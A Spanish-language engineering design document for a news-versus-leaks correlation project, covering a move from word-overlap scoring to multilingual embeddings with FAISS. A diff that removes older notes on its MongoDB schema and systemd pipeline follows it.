Implementación: `coconews/workers/backfill_embeddings.py` (generación) y
`FLUJOS_DATOS/COMPARACIONES/motor_comparacion.py` (correlación).
---
### 2.4 Esquema canónico unificado (aditivo, no destructivo)
Una sola forma para todos los nodos (`noticias`, `torrents`, `wikipedia`, `imagenes`, `imagenes_wiki`):
```
{
_id,
archivo : string // UNIQUE. Clave de dedup y FK hacia comparaciones.
source_type : string // 'rss' | 'leak' | 'wikipedia' | 'imagen' | 'legacy_news'
tema, subtema : string
texto : string // ver 2.5 sobre la realidad del texto de leaks
fecha : ISODate|null
// --- bloque embedding (idéntico en todas las colecciones) ---
embedding : double[384] | null // SIEMPRE L2-normalizado en escritura (ver 4.x)
embedding_model : 'paraphrase-multilingual-MiniLM-L12-v2'
embedding_dim : 384
procesado_embedding: bool
apto_embedding : bool // NUEVO: gate de calidad (ver 4.x). false = no entra al índice
// --- solo docs largos troceados (rss / leak / wiki) ---
chunks : [ { idx, texto, embedding:double[384] } ]
// --- solo rss ---
url, titulo_original, lang, traducido, procesado_ner, entidades, fuente
}
```
**Nota de almacenamiento (corrección al borrador):** MongoDB BSON **no tiene tipo float de 32 bits** — todo número de array se guarda como `double` de 64 bits, escribas `np.float32` o no. Por tanto **guardar float32 NO ahorra disco en Mongo** (el ahorro es real solo en la RAM del índice FAISS al castear a `np.float32` antes de construirlo). El campo `embedding` ocupa 384·8 = **3 KB/doc en disco**; ver el cómputo de huella total en 2.7.
### 2.5 Realidad del texto de los leaks (bloqueante de calidad)
**El borrador asumía "texto completo sin limpiar"; eso es imposible para leaks.** El único texto de leak en disco es `txt/*_limpio.txt`, producido por `procesar_torrents.py::limpiar_texto`, que **pasa a minúsculas, elimina TODA la puntuación y quita stopwords ESPAÑOLAS sobre texto mayormente INGLÉS**. El directorio `files/` (texto crudo) está **vacío (0 ficheros)**. Embeber esa sopa de tokens des-puntuada y con acentos rotos (`proteccién`) da **peores** vectores que prosa limpia, porque los sentence-transformers dependen de puntuación y palabras función.
Decisión (requiere confirmación, ver §5-R1): **re-extraer el texto crudo desde los `.torrent`/ZIP originales** para `texto` (y rehacer chunking sobre prosa real), o **aceptar embeddings degradados** sobre `*_limpio.txt`. Recomendación: re-extraer, porque la calidad del matcher depende directamente de esto, pero acotar a un subconjunto curado primero (ver §5-R1).
### 2.6 Clave de dedup, namespaces y watermark
- **Dedup key = `archivo`** con índice único en **todas** las colecciones de nodo. Hoy falta el único en `torrents` (`pipeline_maestro.py::setup_indices`, líneas ~80-91, solo lo crea para wikipedia/noticias/imagenes/imagenes_wiki). **Extender `setup_indices` para incluir `torrents`.**
- **Normalización de namespaces — con corrección de viabilidad:**
- rss: el ingestor **hoy escribe `archivo = md5(link).hexdigest() + '.txt'`** (CON `.txt`, SIN prefijo `rss_`; el borrador lo decía mal). La migración debe **renombrar TODOS los `archivo` de `noticias` también**`rss_<md5>` y reescribir sus edges. Esto **no es "aditivo y seguro"**: es un rename global de la clave de dedup en la colección canónica (ver 2.7, switch atómico).
- leak: **el re-key a `leak_<sha1(ruta_original)>` es inviable**`procesar_torrents.py` **nunca escribe en Mongo** (no hay `MongoClient`), los torrents los inserta `pipeline_completo.py::procesar_documentos` con `archivo = basename(<relpath_saneado>_limpio.txt)`, y `limpiar_nombre_archivo` mapea `[\/*?:"<>|]→_` de forma **lossy**: la ruta original **no es recuperable** del nombre guardado. Decisión: **conservar el `basename` actual como clave**, prefijándolo a **`leak_<basename_sin_extension>`** (rename puramente textual sobre lo que ya existe, sin necesidad de la ruta original). Las colisiones reales de `procesar_torrents.py` (el `txt/` plano donde `<name>_limpio.txt` se pisa) se arreglan **en la re-extracción** (§2.5), no en la migración de claves.
- wiki: `wiki_<basename>`.
- **Watermark:**
- **Por documento:** `procesado_embedding=false` = pendiente de embeber (reanudable, idempotente, ya existe).
- **Por corrida:** `pipeline_log` (`fase`, `estado`, `fin`). **Corrección sobre `--desde`:** `pipeline_maestro` ya lo pasa (líneas 341-346) y `pipeline_completo.py` lo parsea (línea 219) y **lo ignora**. Pero honrarlo **no es un fix barato**: la comparación actual enumera **directorios de disco** (`os.listdir` de `.../tokenized`), no tiene `fecha` de Mongo en tiempo de comparación. **`--desde` solo se puede honrar de verdad DESPUÉS de reescribir el motor para sacar candidatos de Mongo (F5)** — está contabilizado dentro de F5, no como tarea suelta.
### 2.7 Migración sin dejar el grafo a oscuras (switch atómico)
El invariante load-bearing es **`comparaciones.noticia1/noticia2 == nodo.archivo`** (`FLUJOS_APP.js` construye `nodeIds` desde `result.archivo.trim()` y casa links por `noticiaN.trim()`). Renombrar `archivo` (incluido el de coconews: `md5+.txt → rss_<md5>`) **mientras** el productor legacy aún escribe `basename` rompe el grafo en cualquier estado intermedio (cero links → grafo vacío). Reglas:
1. **El rename de `archivo` y la reescritura de `comparaciones.noticia1/2` son UN solo switch atómico** (script único, idealmente regenerando `comparaciones` desde cero en la regeneración con `motor_comparacion.py` en vez de reescribir 52M docs in-place — ver §5-R4).
2. **Canonicalización de orden de pares ANTES del índice único:** almacenar siempre `noticia1 = min(a,b)`, `noticia2 = max(a,b)` (lexicográfico). Sin esto, el build del único `{noticia1,noticia2}` **falla** sobre los pares invertidos `(A,B)/(B,A)` que ya existen, y los re-runs duplican.
3. **Plan de rollback / "el grafo sigue vivo":** la regeneración de `comparaciones` (la regeneración con `motor_comparacion.py`) se hace en una colección nueva `comparaciones_v2` y se promueve con `renameCollection` (atómico, sub-segundo) solo cuando está poblada y con índices; si algo falla se descarta `comparaciones_v2` y el front sigue sirviendo la vieja. Ver coste/ventana en §4.
### 2.8 Pipeline de sync idempotente
Todo con **upsert keyed-by-`archivo`** (`update_one(..., upsert=True)`), nunca `insert_one`:
```
ingestor (rss) → upsert por archivo, swallow DuplicateKeyError [YA ASÍ]
procesar_documentos → cambiar insert_one → update_one upsert (leak/wiki)
embedder (generaliz.) → find({procesado_embedding:false, apto_embedding:true}) por colección → $set embedding
```
`pipeline_mongolo.py` (`insert_one`, no idempotente) **se retira** y, crítico, **hay que encontrar y desactivar quien lo relanzó hoy a las 00:53** (cron/timer/parent vivo) — matar los hijos con SIGKILL no basta si el padre sigue respawneando.
## 3. COMPARACIÓN con embeddings
### 3.1 Qué se reemplaza exactamente
`comparar_archivos`/`contar_palabras` (`pipeline_completo.py:76-99`): lee ficheros tokenizados de disco, `Counter()` de palabras, `porcentaje = sum(min(c1,c2) sobre comunes) / (len1+len2) * 100` sobre tokens **crudos incluyendo stopwords**, sin TF-IDF, sin poda → cruz completa O(n·m) (~41k noticias × ~36k torrents) → 52M docs en `comparaciones`, con docs idénticos topando al ~50%. Se reemplaza por **embedding por documento (una vez) + coseno top-k vía FAISS**.
### 3.2 Modelo, vectores y normalización
- **Modelo:** `sentence-transformers/paraphrase-multilingual-MiniLM-L12-v2`, 384-dim, cacheado por Hugging Face en `~/.cache/huggingface` (~458 MB), CPU, multilingüe.
- **Realidad cross-lingual (clave):** `translator.py:26` traduce **todas las noticias a ESPAÑOL** (`target='es'`); los **leaks NO se traducen**. La comparación real es **prosa-española-noticia vs sopa-de-keywords-inglesa-leak**. El coseno cross-lingual "mismo evento" de MiniLM suele caer en **0.350.5**, justo sobre el umbral propuesto. Por eso el umbral **se calibra con medición real, no por intuición** (§3.6) y se considera **umbral por par de idiomas** (mismo-idioma corre más alto que cross-idioma).
- **L2-normalización explícita (no hand-waved):** `encode()` de sentence-transformers 5.4.1 tiene `normalize_embeddings=False` por defecto, y `embedder.py:40` guarda `emb.tolist()` **crudo**. Para que `porcentaje_similitud = coseno*100` sea coseno, **tanto los vectores del índice como los de query deben estar normalizados**. Regla: **normalizar en escritura** (`emb = emb / np.linalg.norm(emb)` antes del `$set`) **y** re-normalizar defensivamente al cargar en FAISS. Así el inner product de `IndexFlatIP` == coseno y el umbral tiene sentido.
- **Chunking por tokens, no por chars (corrección):** hoy `texto[:512]` son **512 caracteres** (~80 palabras), no tokens — se pierde casi todo. Cambiar a **ventanas de ~256 tokens, solape ~32**, embeber cada chunk → `chunks[]`. **Cap de chunks content-aware, NO truncado duro:** el cap de "máx 20 chunks" del borrador descarta el 99.5% de un leak de 22 MB. En su lugar: si un doc excede el cap, **muestrear/representar todo el doc** (p.ej. embeber todos los chunks pero, para el índice, un cap por muestreo uniforme + el centroide), nunca quedarse con los primeros 20.
- **Gate de calidad `apto_embedding` (antídoto de falsos positivos):** muchos "leaks" no son prosa comparable — firmware/keys de calculadora (`voyage 200 freeware flash application signing key n5322...`), blobs hex, y en el lado noticias hay basura tipo `$100_OFF___TUSHY_Discount_Codes`. Un modelo de 384-dim mapea docs cortos de solo-keywords/hex a una región degenerada donde los cosenos son espuriamente altos. **Antes de embeber:** filtrar por nº mínimo de tokens reales, detectar y saltar blobs hex/key/code, detectar idioma. `apto_embedding=false` → no entra al índice ni forma edges.
### 3.3 Motor ANN: **FAISS (faiss-cpu), `IndexFlatIP`** — decisión final
| Opción | Veredicto |
|---|---|
| `$vectorSearch` (Atlas) | ❌ Imposible: Atlas-only; aquí Community self-hosted. |
| pgvector | ❌ Introduce Postgres, ausente del stack. Coste operativo injustificado. |
| Qdrant | ⚠️ Sobredimensionado: servicio extra, REST. Y un daemon más que puede crash-loopear (justo lo que estamos apagando). |
| hnswlib | ⚠️ Segunda opción: HNSW en un fichero, pip puro, persistente. Solo si un perfil real exige ANN aproximado. |
| brute-force numpy | ⚠️ Correcto pero innecesario: `IndexFlatIP` hace lo mismo (coseno exacto) más rápido y limpio. |
| **FAISS `IndexFlatIP`** | ✅ **Elegido.** |
**Justificación por volumen — corregida (el borrador omitía Wikipedia y subestimaba ~2×):**
| Corpus | Ficheros | Vectores (chunking, cap content-aware) |
|---|---|---|
| noticias (rss) | ~20k docs | ~20k+ (mayoría 1 chunk) |
| torrents (leaks) | 36.183 ficheros (hoy ~500 en Mongo) | ~288k chunks |
| wikipedia | 28.427 ficheros no vacíos | ~207k chunks |
| **Total (techo realista)** | | **~515k vectores** |
- **RAM del índice:** 515k × 384 × 4 B (float32 en FAISS) ≈ **791 MB** → trivial en 62 GB.
- **Coste de búsqueda:** ~20k queries (noticias) × ~495k corpus vía BLAS multinúcleo ≈ **1.36.3 min** por rebuild completo (medición teórica; confirmar con benchmark real en el box, §4-F0b).
- **Coseno exacto** sobre vectores L2-normalizados → sin pérdida de recall.
- **Cero daemons nuevos:** el índice se construye en-proceso dentro del job de comparación. Para crecimiento futuro a millones, `IndexFlatIP → IndexHNSWFlat` es un cambio de una línea.
- **Persistencia/staleness (gap del borrador):** el flat index **no es incrementalmente append-and-search-only-new** sin bookkeeping. Decisión explícita: **rebuild completo cada corrida** (es sub-minuto a pocos minutos, barato). Para sync incremental real (`--desde`), el rebuild completo sigue siendo la vía; si en el futuro las noticias crecen mucho (eje temporal: 20k es un snapshot, no un techo — `coconews` ingesta indefinidamente; a 200k noticias el rebuild es ~1 h), se reevalúa HNSW persistente.
### 3.4 Generación de candidatos (mata el O(n·m)) — con énfasis corregido
**El verdadero lever de escalado es `top-k`, no el bloqueo por tema.** El borrador presentaba el bloqueo por `tema` como mecanismo principal, pero `asignar_tema_y_subtema` hace matching de keywords **en español** sobre leaks **en inglés** → casi todos caen en `('otros','general')`, así que el bloqueo **colapsa a un índice global** justo para el corpus que domina el conteo de vectores. Como el global es solo ~6 min, es viable. Plan:
1. **Índice global ANN** (no por tema) como base, dado que el bloqueo por tema no es fiable para leaks. Opcionalmente, **clasificar leaks por embedding** (vecino más cercano a centroides de tema) para recuperar el bloqueo como optimización, no como dependencia (§5-R3).
2. **`top-k` por noticia**, con `k` derivado del cap real del front (ver 3.5).
3. Solo esos vecinos se escriben como edges. **Adiós a los 52M de pares casi-cero.**
### 3.5 Reducción chunk→edge y presupuesto de `k` (gap central resuelto)
**Reducción chunk→doc (el borrador la dejaba ambigua, era un hueco de corrección):** el índice se construye con **vectores a nivel de chunk** (recall local: "¿algún fragmento del leak menciona este evento?"). La búsqueda devuelve top-k **chunks**; se **colapsan a nivel de doc** así:
- `score_doc(noticia, leak) = max sobre chunks` del coseno, **pero** con un **guard anti-inflación**: para leaks muy largos (muchos chunks) el `max` casi siempre encuentra un chunk espurio ≥ umbral. Mitigación: exigir **al menos `m≥2` chunks distintos del leak** por encima de un umbral secundario, **o** combinar `max` con el coseno del **centroide del doc** (`score = 0.5·max_chunk + 0.5·centroide`) para penalizar el "un solo chunk casual". Se calibra junto al umbral (§3.6).
- Se escribe **un único edge por par `(noticia_archivo, leak_archivo)`** con el `score_doc` resultante → **no se reinfla `comparaciones`** ni colisionan múltiples chunk-hits sobre la clave `(noticia1,noticia2)`.
**Presupuesto de `k` respetando el cap real del front (corrección):** `MAX_LINKS_PER_NODE=8` en `FLUJOS_APP.js` **no** es "8 leaks por noticia": el front (líneas 228-241) **ordena TODOS los candidatos globalmente por `porcentaje_similitud` y hace asignación greedy capando el grado de AMBOS extremos a 8, cruzando TODOS los corpus** (noticias+wiki+torrents+imágenes). Implicaciones:
- Un leak popular que es top-8 de 50 noticias será **descartado** para 42 de ellas por el cap del lado-leak.
- Una noticia que ya enlaza a wiki/imágenes ve sus edges de leak **desplazados**.
Por tanto, **generar top-8-por-noticia no produce 8 edges visibles**. Plan: **generar `k` algo mayor (p.ej. `k=1520` por noticia) como sobre-aprovisionamiento**, dejar que la asignación greedy simétrica cross-corpus del front recorte, y **medir** cuántos news↔leak edges sobreviven realmente al render para ajustar `k`. El cap no es una excusa para under-generar.
### 3.6 Umbral, calibración y evaluación (requisito previo, NO opcional)
- **No se compromete 0.45 a ciegas.** Antes de regenerar el grafo: **etiquetar a mano ~50 pares news↔leak conocidos** (y específicamente un subconjunto **cross-lingual** español↔inglés), generar el **histograma de coseno** sobre una muestra real, y elegir el umbral donde precision/recall sea aceptable. Es esperable un **umbral por par de idiomas** (same-language más alto que cross-language) para no infra-enlazar justo los pares español-noticia↔inglés-leak que son el objetivo del proyecto.
- **Mapeo al contrato:** `porcentaje_similitud = round(score_doc * 100, 2)`.
- **Recalibración del slider `complejidad` es OBLIGATORIA, no opcional (corrección):** el default `20`, el rango `1-40` y el `IMG_UMBRAL>=3` se ajustaron al overlap viejo (que topaba al ~50% e incluía stopwords). La distribución de `coseno·100` es **completamente distinta** → reusar esos números es una **regresión visual garantizada**. Tras ver la distribución real hay que re-tunear defaults del front (cambio mínimo en `FLUJOS_APP.js`, sí toca front — único toque necesario).
### 3.7 Documento de edge
```jsonc
{
noticia1: "leak_9f3c...", // = min(archivo_a, archivo_b) (canonicalizado, §2.7)
noticia2: "rss_ab12...", // = max(archivo_a, archivo_b)
porcentaje_similitud: 57.3, // = score_doc*100
// --- aditivos, ignorados por el front, útiles para auditoría ---
metodo: "embedding",
cosine: 0.573,
agregacion: "max_chunk+centroide",
modelo: "paraphrase-multilingual-MiniLM-L12-v2"
}
```
`FLUJOS_APP.js` lee solo `noticia1/noticia2/porcentaje_similitud` (+ rama `source1_type='imagen'`, intacta) → **cero cambios en el front salvo la recalibración del slider de §3.6**.
### 3.8 Throughput del backfill (el verdadero riesgo de escala — corregido a fondo)
> **Medido sobre texto real de leaks** (sentence-transformers 5.4.1, CPU de 24 cores con AVX2, sin GPU): **~59-66 chunks/s** (BATCH 20≈128: torch ya satura los cores por llamada). **Encode de 515k chunks ≈ 2.2 h**, NO 40-60 h. Las 40-60 h eran el wall-clock del loop ACTUAL (`sleep(2)`×~25k batches ≈14 h + 515k `update_one`). Quitando `sleep(2)` + `bulk_write` → backfill total **~2.5-3 h**. `normalize_embeddings=True` da vectores unitarios dim=384 (L2-norm = un flag). **GPU no es el cuello de botella.**
El borrador llamaba al backfill "un job nocturno, puede tardar horas". **Con la cadencia ACTUAL del embedder eso está mal por un orden de magnitud:** `BATCH=20` + `model.encode()` + **`time.sleep(2)` tras cada batch no vacío** + **`update_one` por documento** (no `bulk_write`). Backfillear ~515k chunks así = **4060 HORAS** (solo el `sleep(2)` sobre ~25.757 batches son ~14 h de puro sleep; los 515k round-trips individuales añaden más). **La pregunta de GPU (§5-R7) es un distractor: el cuello de botella es la estructura del loop, no la falta de GPU.**
**Modo backfill explícito (separado del daemon trickle):**
1. **`BATCH ≥ 128`** (o mayor según RAM/CPU).
2. **Eliminar `sleep(2)`** en modo backfill (el sleep tiene sentido para el daemon incremental, no para una carga masiva).
3. **`bulk_write(ordered=False)`** en vez de `update_one` por doc — la mejora individual de mayor palanca.
4. **Medir chunks/s real en el box** (con/sin AVX-512) antes de comprometer un ETA — un único `model.encode` sobre un batch de chunks de 256 tokens convierte el ETA de adivinanza en número (§4-F0b).
### 3.9 Índices que faltan (bloqueante para que el front no haga full-scan)
`comparaciones` (52M docs) **no tiene índice en `noticia1`/`noticia2`** → la `linksQuery` con `$in` (`FLUJOS_APP.js:213-222`) es un **scan de colección**. Crear compuesto `{noticia1:1, noticia2:1}`. El **único** `{noticia1,noticia2}` solo **después** de canonicalizar el orden de pares (§2.7) — si no, el build falla sobre los invertidos.
### 3.10 Huella en disco y presión sobre WiredTiger (gap del borrador)
515k vectores × 384 × 8 B (double BSON) ≈ **1.6 GB** de arrays `embedding` añadidos a la base, **más** los `chunks[].embedding` inline duplicando vector por chunk dentro de cada doc (esto **infla el tamaño de cada doc** de `torrents`/`wikipedia` y por tanto el working-set). El caché WiredTiger por defecto es ~50% de 62 GB. **Acción:** monitorizar el crecimiento, y si los `chunks[]` inline pesan demasiado en el working-set, considerar una **colección separada `chunks_embeddings`** (un doc por chunk) en vez de array inline. Decisión a tomar con el número real tras F3.
---

View file

@ -1,223 +0,0 @@
# MongoDB — Contexto técnico FLUJOS
**Fecha:** 2026-04-21
**Instancia:** `mongodb://localhost:27017` (solo localhost, no expuesto)
**Base de datos:** `FLUJOS_DATOS`
---
## Colecciones y esquema
### `wikipedia`
Artículos scrapeados de la API de Wikipedia por temas.
```json
{
"_id": ObjectId,
"archivo": "Nombre_del_articulo.txt", // UNIQUE INDEX — clave de dedup
"tema": "guerra global",
"subtema": "alianzas militares",
"texto": "Contenido completo del artículo...",
"fecha": ISODate | null
}
```
### `noticias`
Artículos scrapeados de ~90 medios internacionales (ver scraper de noticias).
```json
{
"_id": ObjectId,
"archivo": "titulo-noticia.txt", // UNIQUE INDEX
"tema": "guerra global",
"subtema": "conflictos internacionales",
"texto": "Texto limpio de la noticia...",
"fecha": ISODate | null
}
```
### `torrents`
Documentos de WikiLeaks y otros torrents de documentos filtrados.
```json
{
"_id": ObjectId,
"archivo": "documento.pdf.txt", // UNIQUE INDEX
"tema": "...",
"subtema": "...",
"texto": "...",
"fecha": ISODate | null
}
```
### `imagenes`
Imágenes analizadas por Qwen3-VL-8B. Solo se crea un doc cuando el modelo ha generado descripción.
```json
{
"_id": ObjectId,
"archivo": "cambio_climatico_003.jpg", // UNIQUE INDEX
"image_path": "/var/www/.../IMAGENES/output/wiki_images/cambio_climatico/cambio_climatico_003.jpg",
"tema": "cambio climático",
"subtema": "calentamiento global",
"texto": "descripción generada por Qwen3-VL...",
"keywords": ["glaciar", "deshielo", "ártico"],
"fecha": ISODate("2026-04-21")
}
```
### `imagenes_wiki`
Imágenes scrapeadas de Wikipedia SIN análisis Qwen. Fallback cuando `imagenes` no tiene el doc.
```json
{
"_id": ObjectId,
"archivo": "cambio_climatico_003.jpg", // UNIQUE INDEX
"image_path": "/var/www/.../output/wiki_images/cambio_climatico/cambio_climatico_003.jpg",
"image_url": "https://upload.wikimedia.org/...",
"tema": "cambio climático",
"subtema": "glaciares árticos",
"descripcion_wiki": "Descripción Wikimedia del fichero",
"articulo_titulo": "Calentamiento global",
"fecha": ISODate("2026-04-21")
}
```
### `comparaciones`
Pares de documentos con su similitud calculada. ~52M documentos existentes.
```json
{
"_id": ObjectId,
"noticia1": "Nombre_articulo_A.txt",
"noticia2": "Nombre_articulo_B.txt",
"porcentaje_similitud": 23.45 // float, % de palabras compartidas
}
```
**IMPORTANTE:** Esta colección NO tiene índice único porque los 52M docs existentes pueden tener duplicados. Las escrituras usan `update_one(..., upsert=True)` por `(noticia1, noticia2)`.
### `pipeline_log`
Estado de ejecución del pipeline maestro. Un doc por ejecución de fase.
```json
{
"_id": ObjectId,
"fase": "scraping" | "analisis" | "comparacion",
"estado": "en_progreso" | "completado" | "error",
"inicio": ISODate,
"fin": ISODate | null,
"stats": {
"wikipedia_nuevos": 15,
"noticias_nuevos": 230,
"imagenes_wiki_nuevas": 60
}
}
```
---
## Índices únicos
Creados automáticamente por `pipeline_maestro.py::setup_indices()`:
```
wikipedia.archivo UNIQUE ASC
noticias.archivo UNIQUE ASC
imagenes.archivo UNIQUE ASC
imagenes_wiki.archivo UNIQUE ASC
```
El campo `archivo` es el nombre del fichero (ej: `"Guerra_del_Golfo.txt"`). Es la clave de deduplicación en todos los upserts.
---
## Volumen aproximado (2026-04-21)
| Colección | Docs aprox. | Tamaño |
|---|---|---|
| wikipedia | ~5.000 | ~50 MB texto |
| noticias | ~20.000 | ~200 MB texto |
| torrents | ~500 | ~10 MB |
| imagenes | ~150 | 1 MB (solo metadatos) |
| imagenes_wiki | ~500 | 2 MB |
| comparaciones | ~52.000.000 | ~3.2 GB |
| pipeline_log | <100 | <1 MB |
---
## Consultas frecuentes desde la API
### Query de nodos (FLUJOS_APP.js línea 6794)
```javascript
// Filtro base
{ tema: "guerra global", subtema: "...", texto: { $regex: "...", $options: 'i' } }
// Con fechas
{ ..., fecha: { $gte: new Date("2024-01-01"), $lte: new Date("2024-12-31") } }
```
### Query de enlaces (línea 147155)
```javascript
{
porcentaje_similitud: { $gte: 20.0 },
noticia1: { $in: [...nodeIds] },
noticia2: { $in: [...nodeIds] }
}
```
---
## Conexión desde Node.js
```javascript
// FLUJOS_APP.js
const mongoUrl = process.env.MONGO_URL || 'mongodb://localhost:27017';
const dbName = process.env.DB_NAME || 'FLUJOS_DATOS';
const client = new MongoClient(mongoUrl);
await client.connect();
const db = client.db(dbName);
```
Configuración en `.env`:
```
MONGO_URL=mongodb://localhost:27017
DB_NAME=FLUJOS_DATOS
```
---
## Conexión desde Python
```python
from pymongo import MongoClient
client = MongoClient('mongodb://localhost:27017', serverSelectionTimeoutMS=5000)
db = client['FLUJOS_DATOS']
```
---
## Temas definidos en el sistema
Los temas son etiquetas fijas asignadas durante el scraping/tokenización:
```
"guerra global" → subtemas: conflictos internacionales, guerras civiles, terrorismo, armas, alianzas militares
"inteligencia y seguridad"→ subtemas: inteligencia, ciberseguridad, espionaje, seguridad nacional, contraterrorismo
"cambio climático" → subtemas: cambio climático, desastres naturales, conservación, energía renovable, escasez de agua
"demografía y sociedad" → subtemas: sobrepoblación, enfermedades, migraciones, urbanización, despoblación rural
"economía y corporaciones"→ subtemas: economía global, corporaciones multinacionales, comercio internacional, organismos financieros, desigualdad económica
"otros" → documentos que no encajan en ningún tema
```
La asignación la hace `pipeline_completo.py::asignar_tema_y_subtema()` buscando palabras clave en el texto.
---
## Ruta del dato físico
```
MongoDB FLUJOS_DATOS
└── imagenes_wiki / imagenes
└── image_path → $FLUJOS/FLUJOS_DATOS/IMAGENES/output/wiki_images/{tema_slug}/{archivo}
servido como → https://upleaks.org/wiki-images/{tema_slug}/{archivo}
```

View file

@ -1,300 +0,0 @@
# Pipeline Maestro — Contexto técnico FLUJOS
**Fecha:** 2026-04-24 (actualizado)
**Archivo:** `FLUJOS_DATOS/pipeline_maestro.py`
**Scheduler:** systemd timer `flujos-pipeline.timer` — cada 12H (`OnUnitActiveSec=12H`)
---
## Visión general
El pipeline maestro orquesta las tres fases del sistema en orden estricto:
```
FASE 1 — SCRAPING
├── Wikipedia (main.py) → colección wikipedia
├── Noticias (main_noticias.py) → colección noticias
├── Imágenes Wikipedia (wikipedia_image_scraper.py) → colección imagenes_wiki
└── Comparaciones imagen-texto (comparar_imagenes_wiki.py) → colección comparaciones
[AÑADIDO 2026-04-24: TF-IDF entre imagenes_wiki y corpus texto,
necesario porque Qwen (fase 2) tarda demasiado y imagenes_wiki
queda sin enlaces en el grafo hasta que Qwen termine]
FASE 2 — ANÁLISIS
├── Qwen3-VL imágenes (pipeline_imagenes.py --analizar) → colección imagenes
└── Tokenización texto (pipeline_mongolo.py) → colección noticias/wikipedia (actualiza)
FASE 3 — COMPARACIÓN
└── Similitud entre documentos (pipeline_completo.py) → colección comparaciones
```
---
## Ejecución
```bash
# Ejecución completa (las 3 fases)
$FLUJOS/FLUJOS_DATOS/myenv/bin/python3 pipeline_maestro.py
# Solo una fase
python pipeline_maestro.py --solo-fase scraping
python pipeline_maestro.py --solo-fase analisis
python pipeline_maestro.py --solo-fase comparacion
# Forzar re-ejecución ignorando cooldown de 20h
python pipeline_maestro.py --forzar
python pipeline_maestro.py --solo-fase scraping --forzar
```
---
## Control de estado — MongoDB `pipeline_log`
Cada fase registra inicio, fin y stats en la colección `pipeline_log`:
```json
{
"fase": "scraping",
"estado": "completado" | "en_progreso" | "error",
"inicio": ISODate("2026-04-20T03:00:00Z"),
"fin": ISODate("2026-04-20T04:15:00Z"),
"stats": {
"wikipedia_nuevos": 45,
"noticias_nuevos": 312,
"imagenes_wiki_nuevas": 60
}
}
```
### Lógica de "¿necesita correr?"
```python
def fase_necesita_correr(db, fase, forzar=False):
if forzar: return True
ultimo = db['pipeline_log'].find_one({'fase': fase}, sort=[('inicio', -1)])
if not ultimo: return True # nunca corrió
if ultimo['estado'] != 'completado': return True # última ejecución falló
if utcnow() - ultimo['fin'] < timedelta(hours=20):
return False # cooldown activo
return True
```
---
## Lockfile — prevención de instancias simultáneas
```python
LOCK_FILE = Path("/tmp/flujos_pipeline.lock")
class PipelineLock:
def __enter__(self):
self._f = open(LOCK_FILE, "w")
fcntl.flock(self._f, fcntl.LOCK_EX | fcntl.LOCK_NB) # non-blocking
# Si ya hay lock → BlockingIOError → log.error + sys.exit(1)
```
Si el pipeline muere abruptamente, el lock se libera automáticamente cuando el proceso termina (el SO libera todos los file locks del proceso muerto).
---
## Índices de deduplicación (idempotente)
```python
def setup_indices(db):
indices = {
"wikipedia": [("archivo", ASCENDING)],
"noticias": [("archivo", ASCENDING)],
"imagenes": [("archivo", ASCENDING)],
"imagenes_wiki": [("archivo", ASCENDING)],
# comparaciones: SIN índice único (52M docs con posibles duplicados)
}
for col, keys in indices.items():
db[col].create_index(keys, unique=True, background=True)
```
Se ejecuta al inicio de cada pipeline. `create_index` es idempotente — no falla si el índice ya existe.
---
## Fase 3 — Modo incremental
La comparación usa el flag `--desde` para solo comparar documentos nuevos:
```python
ultima = ultima_ejecucion_completada(db, "comparacion")
if ultima:
args = ["--desde", ultima.strftime("%Y-%m-%d")]
# pipeline_completo.py solo procesa docs con fecha >= ultima ejecución
```
Esto evita re-comparar los 52M pares existentes en cada ejecución.
---
## Systemd — configuración
**Archivos instalados en `/etc/systemd/system/`:**
### flujos-pipeline.service
```ini
[Unit]
Description=FLUJOS Pipeline Maestro
After=network.target mongod.service
Requires=mongod.service
[Service]
Type=oneshot
User=capitansito
WorkingDirectory=$FLUJOS/FLUJOS_DATOS
Environment=MONGO_URL=mongodb://localhost:27017
Environment=DB_NAME=FLUJOS_DATOS
ExecStart=$FLUJOS/FLUJOS_DATOS/myenv/bin/python3 \
$FLUJOS/FLUJOS_DATOS/pipeline_maestro.py
TimeoutStartSec=43200
Nice=15
CPUQuota=400%
StandardOutput=journal
StandardError=journal
[Install]
WantedBy=multi-user.target
```
`Nice=15` + `CPUQuota=400%` limita el pipeline a ~4 cores para no saturar el servidor (Qwen en CPU puede usar 1000%+ por instancia sin esto).
### flujos-pipeline.timer
```ini
[Unit]
Description=Ejecutar FLUJOS Pipeline cada 2 dias a las 03:00
Requires=flujos-pipeline.service
[Timer]
OnBootSec=2min
OnUnitActiveSec=2d
Persistent=true
Unit=flujos-pipeline.service
[Install]
WantedBy=timers.target
```
Timer activo a 12H (`OnUnitActiveSec=12H`). `Persistent=true` hace que si el servidor estaba apagado cuando tocaba, el timer se dispara 2 minutos después del siguiente arranque.
**AVISO 2026-04-24:** El servicio falló por timeout (SIGTERM a las 12h) el 2026-04-22 porque la fase 2 (Qwen, 186 imágenes × ~3 min/imagen ≈ 9h) más la fase 1 (~2h) superaron `TimeoutStartSec=43200`. El timer quedó en estado `elapsed/n/a`. Para resetear manualmente:
```bash
sudo systemctl reset-failed flujos-pipeline.service
sudo systemctl start flujos-pipeline.timer
```
### Comandos de gestión
```bash
# Ver estado del timer
systemctl status flujos-pipeline.timer
# Ver logs del último pipeline
journalctl -u flujos-pipeline.service -n 100
# Lanzar manualmente
systemctl start flujos-pipeline.service
# Habilitar/deshabilitar timer
systemctl enable flujos-pipeline.timer
systemctl disable flujos-pipeline.timer
# Ver cuándo es la próxima ejecución
systemctl list-timers flujos-pipeline.timer
```
---
## Cooldown y tiempos esperados de ejecución
| Fase | Cooldown mínimo | Tiempo estimado |
|---|---|---|
| scraping | 20h | 26h (depende de medios accesibles) |
| analisis | 20h | 14h (Qwen en CPU es lento: ~3 min/imagen) |
| comparacion | 20h | Variable (incremental: 30 min / full: varios días) |
---
## Resumen de estadísticas al final
Al completar, el pipeline imprime en el log:
```
Estado MongoDB:
wikipedia : 5,234
noticias : 21,456
imagenes : 150
imagenes_wiki : 500
comparaciones : 52,100,000
```
---
## Log del pipeline
```
FLUJOS_DATOS/pipeline_maestro.log → log principal (en .gitignore)
```
También visible en journald:
```bash
journalctl -u flujos-pipeline.service --since "2026-04-20"
```
---
## Errores conocidos y fixes aplicados
| Script | Error | Fix |
|---|---|---|
| `WIKIPEDIA/main.py` | `NameError: buscar_articulos` no definida | Añadido `from wikipedia_utils import buscar_articulos, obtener_contenido_wikipedia` |
| `WIKIPEDIA/main.py` | `ModuleNotFoundError: wikipedia` | `pip install wikipedia` en myenv |
